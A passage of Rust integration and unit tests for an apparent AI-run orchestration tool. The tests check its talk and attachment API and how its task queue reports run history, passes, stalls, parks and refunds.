15789 assert!((400..500).contains(&res.status), "{}", res.body);
15790 }
15791
15792 #[tokio::test]
15793 async fn an_unknown_attachment_id_is_a_404() {
15794 let f = Fixture::start().await;
15795 let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15796
15797 let res = f
15798 .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15799 .await;
15800 assert_eq!(res.status, 404, "{}", res.body);
15801 }
15802
15803 #[tokio::test]
15804 async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15805 let f = Fixture::start().await;
15806 let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15807
15808 let uploaded = f
15809 .post_bytes(
15810 &format!("/api/talks/{id}/attachments"),
15811 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15812 PNG_BYTES,
15813 )
15814 .await;
15815 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15816 let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
15817
15818 let res = f
15819 .post(
15820 &format!("/api/talks/{id}/say"),
15821 Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
15822 )
15823 .await;
15824 assert_eq!(res.status, 202, "{}", res.body);
15825 let queued = res.json();
15826 let turns = queued["turns"].as_array().expect("turns array");
15827 assert_eq!(
15828 turns.len(),
15829 1,
15830 "an empty body with an attachment is still a turn: {queued}"
15831 );
15832 assert_eq!(turns[0]["who"], "operator");
15833 assert_eq!(turns[0]["body"], "");
15834 let atts = turns[0]["attachments"]
15835 .as_array()
15836 .expect("attachments array");
15837 assert_eq!(atts.len(), 1);
15838 assert_eq!(atts[0]["id"], att_id);
15839 assert_eq!(atts[0]["mime"], "image/png");
15840
15841 let on_disk = f.talks().get(&id).expect("get");
15844 assert_eq!(on_disk.turns[0].attachments.len(), 1);
15845 assert_eq!(on_disk.turns[0].attachments[0].id, att_id);
15846 }
15847
15848 #[tokio::test]
15849 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
15850 let f = Fixture::start().await;
15851 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
15852
15853 let res = f
15854 .post(
15855 &format!("/api/talks/{id}/say"),
15856 Some(&format!(
15857 r#"{{"text":"hi","attachments":["{}"]}}"#,
15858 "a".repeat(32)
15859 )),
15860 )
15861 .await;
15862 assert!((400..500).contains(&res.status), "{}", res.body);
15863 assert!(res.body.contains("unknown attachment"), "{}", res.body);
15864
15865 let on_disk = f.talks().get(&id).expect("get");
15866 assert!(
15867 on_disk.turns.is_empty(),
15868 "a rejected attachment id must not partially record the turn: {:?}",
15869 on_disk.turns
15870 );
15871 }
15872
15873 #[tokio::test]
15874 async fn talk_close_makes_the_talk_refuse_further_turns() {
15875 let f = Fixture::start().await;
15876 let id = seed_talk(&f, "20260904-014455-cd34", "open");
15877
15878 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15879 assert_eq!(closed.status, 200, "{}", closed.body);
15880 assert_eq!(closed.json()["status"], "closed");
15881
15882 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
15884 assert_eq!(closed_again.status, 200);
15885 assert_eq!(closed_again.json()["status"], "closed");
15886
15887 let said = f
15888 .post(
15889 &format!("/api/talks/{id}/say"),
15890 Some(r#"{"text":"too late"}"#),
15891 )
15892 .await;
15893 assert_eq!(said.status, 409, "{}", said.body);
15894 }
15895
15896 #[tokio::test]
15897 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
15898 let (_tmp, _repo, f) = talk_fixture().await;
15899 let id = f.post("/api/talks", None).await.json()["id"]
15900 .as_str()
15901 .expect("id")
15902 .to_owned();
15903 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15904 assert_eq!(closed.status, 200, "{}", closed.body);
15905
15906 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15907 assert_eq!(reopened.status, 200, "{}", reopened.body);
15908 assert_eq!(reopened.json()["status"], "open");
15909
15910 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
15912 assert_eq!(reopened_again.status, 200);
15913 assert_eq!(reopened_again.json()["status"], "open");
15914
15915 let said = f
15916 .post(
15917 &format!("/api/talks/{id}/say"),
15918 Some(r#"{"text":"still there?"}"#),
15919 )
15920 .await;
15921 assert_eq!(
15922 said.status, 202,
15923 "a reopened talk accepts turns again: {}",
15924 said.body
15925 );
15926 }
15927
15928 #[tokio::test]
15929 async fn talk_reopen_on_an_unknown_id_is_404() {
15930 let f = Fixture::start().await;
15931 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
15932 assert_eq!(res.status, 404, "{}", res.body);
15933 }
15934
15935 #[tokio::test]
15936 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
15937 let f = Fixture::start().await;
15938 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
15939
15940 let deleted = f.delete(&format!("/api/talks/{id}")).await;
15941 assert_eq!(deleted.status, 204, "{}", deleted.body);
15942
15943 let after = f.get(&format!("/api/talks/{id}")).await;
15944 assert_eq!(after.status, 404, "{}", after.body);
15945
15946 let listed = f.get("/api/talks").await.json();
15947 assert!(
15948 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
15949 "a deleted talk must not linger in the list: {listed}"
15950 );
15951 }
15952
15953 #[tokio::test]
15954 async fn talk_delete_on_an_unknown_id_is_404() {
15955 let f = Fixture::start().await;
15956 let res = f.delete("/api/talks/nonexistent-id").await;
15957 assert_eq!(res.status, 404, "{}", res.body);
15958 }
15959
15960 #[tokio::test]
15964 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
15965 let f = Fixture::start().await;
15966 let (a, b, gone) = (
15967 "20260902-140501-aaaa",
15968 "20260902-140502-bbbb",
15969 "20260902-140503-cccc",
15970 );
15971 write_run(&f.runs(), a, RunStatus::Stalled);
15972 let mut review = RunState::new(
15973 PathBuf::from("/repo/magi"),
15974 "main".to_owned(),
15975 "0123456789abcdef".to_owned(),
15976 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
15977 .to_owned(),
15978 Config::default(),
15979 );
15980 review.id = b.to_owned();
15981 review.status = RunStatus::Merged;
15982 write_state(&f.runs(), &review);
15983
15984 let mut task = Task::new(
15985 "retry".to_owned(),
15986 "Do the thing".to_owned(),
15987 PathBuf::from("/repo/magi"),
15988 Source::Human,
15989 );
15990 task.start(a.to_owned());
15991 task.stall("quota");
15992 task.start(a.to_owned());
15993 task.start(b.to_owned());
15994 task.start(gone.to_owned());
15995 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
15997 f.queue().put(&mut task).expect("file the task");
15998
15999 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16000 assert_eq!(res.status, 200, "{}", res.body);
16001 let v = res.json();
16002 let h = v["history"].as_array().expect("history");
16003 assert_eq!(h.len(), 4, "{v}");
16004 assert_eq!(h[0]["kind"], "competition");
16005 assert_eq!(h[0]["status"], "stalled");
16006 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16007 assert_eq!(h[1]["kind"], "resume", "{v}");
16008 assert!(
16009 h[0]["outcome"]
16010 .as_str()
16011 .unwrap()
16012 .contains("unknown. Pass #2"),
16013 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16014 );
16015 assert!(
16016 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16017 "{v}"
16018 );
16019 assert!(
16020 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16021 "an unrecorded cause must not be narrated as an operator park: {v}"
16022 );
16023 assert_eq!(h[2]["kind"], "review");
16024 assert!(
16025 h[2]["description"]
16026 .as_str()
16027 .unwrap()
16028 .contains("magi/aaaa/A")
16029 );
16030 assert_eq!(h[2]["status"], "merged");
16031 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16032 assert_eq!(v["runs_unreadable"], 1);
16033 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16034 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16035 assert_eq!(nodes[4]["note"], "unreadable");
16036 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16037 assert_eq!(v["instruction"], "Do the thing");
16038 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16039
16040 let run = f.get(&format!("/api/runs/{a}")).await.json();
16042 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16043
16044 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16045 }
16046
16047 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16048 let mut s = RunState::new(
16049 PathBuf::from("/repo/magi"),
16050 "main".to_owned(),
16051 "0123456789abcdef".to_owned(),
16052 "Do it".to_owned(),
16053 Config::default(),
16054 );
16055 s.status = status;
16056 edit(&mut s);
16057 s
16058 }
16059
16060 fn flow_task(runs: &[&str]) -> Task {
16061 let mut t = Task::new(
16062 "t".to_owned(),
16063 "Do it".to_owned(),
16064 PathBuf::from("/repo/magi"),
16065 Source::Human,
16066 );
16067 for r in runs {
16068 t.start((*r).to_owned());
16069 }
16070 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16072 t
16073 }
16074
16075 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16076 let h = task_history(task, |id| {
16077 states
16078 .iter()
16079 .find(|(i, _)| *i == id)
16080 .and_then(|(_, s)| s.clone())
16081 });
16082 task_flow(task, &h, 5, None)
16083 }
16084
16085 #[test]
16086 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16087 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16088 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16089 let first = "2026-10-10T02:00:00Z".parse().unwrap();
16090 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16091 let held = "2026-10-10T04:00:00Z".parse().unwrap();
16092 let run = flow_run(RunStatus::Implementing, |s| {
16093 s.created_at = created;
16094 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16095 s.passes[0].started_at = first;
16096 s.passes[1].started_at = resumed;
16097 });
16098 let mut task = flow_task(&[RUN_X, RUN_X]);
16099 task.created_at = queued;
16100 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16101 task.status = TaskStatus::Held;
16102 task.held_at = Some(held);
16103 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16104 assert_eq!(
16105 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16106 vec![Some(queued), Some(first), Some(resumed), Some(held)]
16107 );
16108 assert!(flow.nodes.iter().all(|n| n.time_expected));
16109 let json = serde_json::to_value(&flow).unwrap();
16110 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16111 assert_eq!(json["nodes"][2]["time_expected"], true);
16112 }
16113
16114 #[test]
16115 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16116 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16117 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16118 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16119 task.held_at = Some(created);
16121 task.blocked_at = Some(created);
16122 for status in [
16123 TaskStatus::Queued,
16124 TaskStatus::Running,
16125 TaskStatus::Blocked,
16126 TaskStatus::Done,
16127 TaskStatus::Failed,
16128 TaskStatus::Parked,
16129 TaskStatus::Held,
16130 ] {
16131 task.status = status;
16132 if status == TaskStatus::Held {
16133 task.held_at = None;
16134 }
16135 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16136 assert_eq!(flow.nodes[1].started_at, Some(created));
16137 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16138 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16139 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16140 let json = serde_json::to_value(&flow).unwrap();
16141 assert!(json["nodes"][3]["started_at"].is_null());
16142 assert_eq!(json["nodes"][3]["time_expected"], true);
16143 }
16144 }
16145
16146 #[test]
16147 fn flow_context_links_do_not_expect_start_times() {
16148 let mut task = flow_task(&[]);
16149 task.source = Source::Agent {
16150 run: "chat-id".to_owned(),
16151 node: "chat".to_owned(),
16152 };
16153 let origin = followup_origin(&fu(None), |_| None, |_| None);
16154 let flow = task_flow(&task, &[], 5, Some(&origin));
16155 for node in &flow.nodes[..2] {
16156 assert!(!node.time_expected);
16157 assert_eq!(node.started_at, None);
16158 }
16159 assert!(flow.nodes[2].time_expected);
16160 }
16161
16162 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16163 crate::queue::FollowUp {
16164 run: "20260901-000000-aaaa".to_owned(),
16165 origin_task: origin_task.map(str::to_owned),
16166 pr: "https://example.com/o/r/pull/1".to_owned(),
16167 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16168 .map(str::to_owned)
16169 .to_vec(),
16170 generation: 1,
16171 }
16172 }
16173
16174 fn parent_task() -> Task {
16175 let mut p = flow_task(&[]);
16176 p.title = "Parent title".to_owned();
16177 p.status = TaskStatus::Done;
16178 p
16179 }
16180
16181 #[test]
16182 fn flow_opens_with_the_parent_task_of_a_followup() {
16183 let p = parent_task();
16184 let pid = p.id.clone();
16185 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16186 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16187 let n = &f.nodes[0];
16188 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16189 assert_eq!(
16190 n.label,
16191 format!("Follow-up of {}", crate::queue::short(&pid))
16192 );
16193 assert_eq!(n.detail.as_deref(), Some("Parent title"));
16194 assert_eq!(n.status, Some("done"));
16195 assert_eq!(n.status_of, "task");
16196 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16197 assert_eq!(f.nodes[1].key, "start");
16198 assert_eq!(f.edges[0].from, "origin");
16199 assert_eq!(
16200 f.edges[0].label,
16201 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16202 );
16203 }
16204
16205 #[test]
16206 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16207 let o = followup_origin(
16208 &fu(Some("gone")),
16209 |_| None,
16210 |_| {
16211 Some(RunState::new(
16212 std::path::PathBuf::from("."),
16213 "main".to_owned(),
16214 "0".to_owned(),
16215 "t".to_owned(),
16216 crate::config::Config::default(),
16217 ))
16218 },
16219 );
16220 assert!(o.parent.is_none());
16221 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16222 let n = &f.nodes[0];
16223 assert_eq!(n.status_of, "run");
16224 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16225 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16226 }
16227
16228 #[test]
16229 fn flow_followup_with_nothing_readable_has_no_link() {
16230 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16231 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16232 let n = &f.nodes[0];
16233 assert_eq!(n.href, None);
16234 assert_eq!(n.note, Some("unreadable"));
16235 assert!(!n.readable);
16236 }
16237
16238 #[test]
16239 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16240 let o = followup_origin(&fu(None), |_| None, |_| None);
16241 let mut t = flow_task(&[]);
16242 t.origin_chat = Some("c1".to_owned());
16243 let f = task_flow(&t, &[], 5, Some(&o));
16244 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16245 t.source = Source::Agent {
16246 run: "c1".to_owned(),
16247 node: crate::queue::CHAT_NODE.to_owned(),
16248 };
16249 let f = task_flow(&t, &[], 5, Some(&o));
16250 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16251 assert_eq!(
16252 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16253 ("chat", "origin")
16254 );
16255 }
16256
16257 #[test]
16258 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16259 let mut p = parent_task();
16260 p.id = "a b/c".to_owned();
16261 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16262 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16263 }
16264
16265 #[test]
16266 fn flow_opens_with_the_chat_that_queued_the_task() {
16267 let mut t = flow_task(&[]);
16268 t.source = Source::Agent {
16269 run: "a b/c".to_owned(),
16270 node: crate::queue::CHAT_NODE.to_owned(),
16271 };
16272 let f = flow_for(&t, &[]);
16273 assert_eq!(f.nodes[0].key, "chat");
16274 assert_eq!(f.nodes[0].kind, "chat");
16275 assert_eq!(
16276 f.nodes[0].label,
16277 format!("Chat {}", crate::queue::short("a b/c"))
16278 );
16279 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16280 assert_eq!(f.nodes[1].key, "start");
16281 assert_eq!(
16282 f.edges[0],
16283 FlowEdge {
16284 from: "chat".to_owned(),
16285 to: "start".to_owned(),
16286 label: "queued from chat".to_owned(),
16287 attempt: AttemptCost::None,
16288 }
16289 );
16290 }
16291
16292 #[test]
16293 fn flow_has_no_chat_box_for_other_sources() {
16294 for source in [
16295 Source::Human,
16296 Source::Issue {
16297 number: 3,
16298 repo: "o/r".to_owned(),
16299 },
16300 Source::Agent {
16301 run: "20260904-014455-ab12".to_owned(),
16302 node: "implement".to_owned(),
16303 },
16304 ] {
16305 let mut t = flow_task(&[]);
16306 t.source = source;
16307 let f = flow_for(&t, &[]);
16308 assert_eq!(f.nodes[0].key, "start");
16309 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16310 assert!(f.edges.iter().all(|e| e.from != "chat"));
16311 }
16312 }
16313
16314 const FA: &str = "20260902-140501-aaaa";
16315 const FB: &str = "20260902-140502-bbbb";
16316
16317 #[test]
16318 fn flow_follows_blocked_retry_merged_to_done() {
16319 let mut t = flow_task(&[FA, FB]);
16320 t.status = TaskStatus::Done;
16321 let f = flow_for(
16322 &t,
16323 &[
16324 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16325 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16326 ],
16327 );
16328 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16329 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16330 assert_eq!(f.edges.len(), 3);
16331 assert_eq!(f.edges[0].label, "claimed");
16332 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16333 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16334 assert_eq!(f.edges[2].label, "merged \u{2192} done");
16335 assert_eq!(
16336 f.nodes[2].href.as_deref(),
16337 Some("#/runs/20260902-140502-bbbb")
16338 );
16339 assert!(f.nodes[2].decided);
16340 }
16341
16342 #[test]
16343 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16344 let quota = || {
16345 flow_run(RunStatus::Stalled, |s| {
16346 s.quota.push(crate::run::QuotaLoss {
16347 seat: "judge-1".to_owned(),
16348 node: "judge".to_owned(),
16349 at: Timestamp::now(),
16350 reset: None,
16351 })
16352 })
16353 };
16354 let mut t = flow_task(&[FA, FA]);
16355 t.status = TaskStatus::Queued;
16356 let f = flow_for(&t, &[(FA, Some(quota()))]);
16357 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16358 assert_eq!(f.nodes[1].note, Some("interrupted"));
16359 assert_eq!(
16360 f.nodes[1].status, None,
16361 "no outcome copied onto an earlier pass"
16362 );
16363 assert_eq!(
16364 f.edges[1].attempt,
16365 AttemptCost::Unknown,
16366 "a resume does not prove the earlier pass was refunded"
16367 );
16368 assert!(f.edges[1].label.contains("resume the same run"));
16369 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16370 assert_eq!(
16371 f.edges[2].label,
16372 "stalled after a resume, refund unknown \u{2192} queued"
16373 );
16374 assert!(!f.nodes[2].decided, "a stall is not a decision");
16375 assert_eq!(f.nodes[2].note, Some("no verdict"));
16376 }
16377
16378 #[test]
16379 fn flow_single_pass_quota_stall_is_refunded() {
16380 let t = flow_task(&[FA]);
16381 let f = flow_for(
16382 &t,
16383 &[(
16384 FA,
16385 Some(flow_run(RunStatus::Stalled, |s| {
16386 s.quota.push(crate::run::QuotaLoss {
16387 seat: "judge-1".to_owned(),
16388 node: "judge".to_owned(),
16389 at: Timestamp::now(),
16390 reset: None,
16391 })
16392 })),
16393 )],
16394 );
16395 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16396 }
16397
16398 #[test]
16399 fn flow_parked_refunds_and_stall_without_quota_spends() {
16400 let mut t = flow_task(&[FA]);
16401 t.status = TaskStatus::Queued;
16402 let f = flow_for(
16403 &t,
16404 &[(
16405 FA,
16406 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16407 )],
16408 );
16409 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16410 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16411 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16412 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16413 assert!(!f.nodes[1].decided);
16414 }
16415
16416 #[test]
16417 fn flow_keeps_an_unreadable_run_as_its_own_node() {
16418 let t = flow_task(&[FA, FB]);
16419 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16420 assert_eq!(f.nodes[1].note, Some("unreadable"));
16421 assert!(!f.nodes[1].readable);
16422 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16423 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16424 }
16425
16426 #[test]
16427 fn flow_names_the_branch_of_a_review_only_run() {
16428 let t = flow_task(&[FA]);
16429 let f = flow_for(
16430 &t,
16431 &[(
16432 FA,
16433 Some(flow_run(RunStatus::Merged, |s| {
16434 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16435 })),
16436 )],
16437 );
16438 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16439 assert_eq!(
16440 f.nodes[1].detail.as_deref(),
16441 Some("review-only run of branch magi/x/A")
16442 );
16443 }
16444
16445 #[test]
16446 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16447 let mut t = flow_task(&[FA]);
16448 t.status = TaskStatus::Held;
16449 let pr = crate::run::PrRecord {
16450 url: "https://example.test/pr/1".to_owned(),
16451 number: 1,
16452 state: "open".to_owned(),
16453 checks: "green".to_owned(),
16454 round: 0,
16455 rounds: 3,
16456 red_at_merge: Vec::new(),
16457 };
16458 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16459 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16460 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16461 t.status = TaskStatus::Done;
16462 let f = flow_for(&t, &[(FA, Some(blocked))]);
16463 assert_eq!(f.edges[1].label, "closed by hand: task is done");
16464 }
16465
16466 #[test]
16467 fn flow_with_no_runs_goes_from_queued_to_queued() {
16468 let t = flow_task(&[]);
16469 let f = flow_for(&t, &[]);
16470 assert_eq!(f.nodes.len(), 2);
16471 assert_eq!(f.edges.len(), 1);
16472 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16473 assert_eq!(f.edges[0].attempt, AttemptCost::None);
16474 }
16475
16476 #[test]
16479 fn a_parked_non_terminal_run_is_explained_as_parked() {
16480 let mut s = RunState::new(
16481 PathBuf::from("/repo/magi"),
16482 "main".to_owned(),
16483 "0123456789abcdef".to_owned(),
16484 "Do it".to_owned(),
16485 Config::default(),
16486 );
16487 s.status = RunStatus::Implementing;
16488 s.parked = true;
16489 let task = Task::new(
16490 "t".to_owned(),
16491 "Do it".to_owned(),
16492 PathBuf::from("/repo/magi"),
16493 Source::Human,
16494 );
16495 let v = task_run_view(
16496 "20260902-140501-aaaa",
16497 Some(&s),
16498 RunSlot {
16499 n: 1,
16500 resumed: false,
16501 resumed_later: None,
16502 prior: None,
16503 last: true,
16504 ..RunSlot::default()
16505 },
16506 &task,
16507 );
16508 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16509 }
16510
16511 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16512 let mut s = flow_run(RunStatus::Implementing, edit);
16513 s.parked = false;
16514 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16515 task_run_view(
16516 "20260902-140501-aaaa",
16517 Some(&s),
16518 RunSlot {
16519 n: 1,
16520 resumed: false,
16521 resumed_later: Some(2),
16522 prior: None,
16523 last: false,
16524 ..RunSlot::default()
16525 },
16526 &task,
16527 )
16528 }
16529
16530 #[test]
16531 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16532 let v = earlier_pass_view(|_| {});
16533 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16534 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16535 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16536 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16537 assert_eq!(v.exit, RunExit::Interrupted);
16538 assert_eq!(v.attempt, AttemptCost::Unknown);
16539 }
16540
16541 #[test]
16542 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16543 let v = earlier_pass_view(|s| {
16544 s.quota.push(crate::run::QuotaLoss {
16545 seat: "judge-1".to_owned(),
16546 node: "judge".to_owned(),
16547 at: Timestamp::now(),
16548 reset: None,
16549 });
16550 });
16551 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16552 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16553 assert_eq!(v.attempt, AttemptCost::Unknown);
16554 }
16555
16556 #[test]
16557 fn the_current_pass_states_its_recorded_cause_and_cost() {
16558 let slot = || RunSlot {
16559 n: 1,
16560 resumed: false,
16561 resumed_later: None,
16562 prior: None,
16563 last: true,
16564 ..RunSlot::default()
16565 };
16566 let task = flow_task(&["20260902-140501-aaaa"]);
16567 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16568 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16569 assert_eq!(
16570 (v.exit, v.attempt),
16571 (RunExit::Parked, AttemptCost::Refunded)
16572 );
16573 let spent = flow_run(RunStatus::Blocked, |_| {});
16574 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16575 assert_eq!(v.attempt, AttemptCost::Spent);
16576 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16577 }
16578
16579 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16580 crate::run::RunPass {
16581 index,
16582 started_at: Timestamp::now(),
16583 resumed: index > 0,
16584 ended_at: end.as_ref().map(|_| Timestamp::now()),
16585 end,
16586 task_entry: true,
16587 }
16588 }
16589
16590 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16591 Some(crate::run::PassEnd::Parked { cause })
16592 }
16593
16594 fn upgrade_cause() -> crate::run::ParkCause {
16595 crate::run::ParkCause::Upgrade {
16596 from: "0.121.0".to_owned(),
16597 to: Some("0.121.1".to_owned()),
16598 }
16599 }
16600
16601 fn settled_pass(
16602 run: &str,
16603 index: usize,
16604 cost: crate::queue::PassCost,
16605 ) -> crate::queue::TaskPass {
16606 crate::queue::TaskPass {
16607 run: run.to_owned(),
16608 pass_index: index,
16609 started_at: None,
16610 cost,
16611 attempts_after: 1,
16612 settled_at: Timestamp::now(),
16613 parked: None,
16614 }
16615 }
16616
16617 const RUN_X: &str = "20261011-223708-4334";
16618
16619 #[test]
16620 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16621 use crate::queue::PassCost;
16622 let run = flow_run(RunStatus::Implementing, |s| {
16623 s.passes = vec![
16624 recorded_pass(0, parked(upgrade_cause())),
16625 recorded_pass(1, None),
16626 ];
16627 });
16628 let mut task = flow_task(&[RUN_X, RUN_X]);
16629 task.attempts = 1;
16630 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16631 let h = task_history(&task, |_| Some(run.clone()));
16632 assert_eq!(h.len(), 2);
16633 assert_eq!(h[0].kind, "competition");
16634 assert_eq!(h[1].kind, "resume");
16635 assert_eq!(
16636 (h[0].exit, h[0].attempt),
16637 (RunExit::Parked, AttemptCost::Refunded)
16638 );
16639 assert!(
16640 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16641 "{}",
16642 h[0].outcome
16643 );
16644 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16645 assert!(
16646 h[0].outcome.contains("pass #2 resumed the same run"),
16647 "{}",
16648 h[0].outcome
16649 );
16650 assert!(
16651 h[0].outcome.contains("pass 1 of 2 over run"),
16652 "{}",
16653 h[0].outcome
16654 );
16655 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16656 assert_eq!(
16657 h[0].exit_label,
16658 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16659 );
16660 let f = task_flow(&task, &h, 2, None);
16661 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16663 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16664 assert!(
16665 f.edges[1].label.contains("upgrade 0.121.0"),
16666 "{}",
16667 f.edges[1].label
16668 );
16669 assert!(
16670 f.edges[1].label.contains("resume the same run"),
16671 "{}",
16672 f.edges[1].label
16673 );
16674 assert_eq!(f.nodes[1].note, Some("parked"));
16675 }
16676
16677 #[test]
16678 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16679 let mut a = flow_run(RunStatus::Implementing, |s| {
16680 s.passes = vec![
16681 recorded_pass(0, parked(upgrade_cause())),
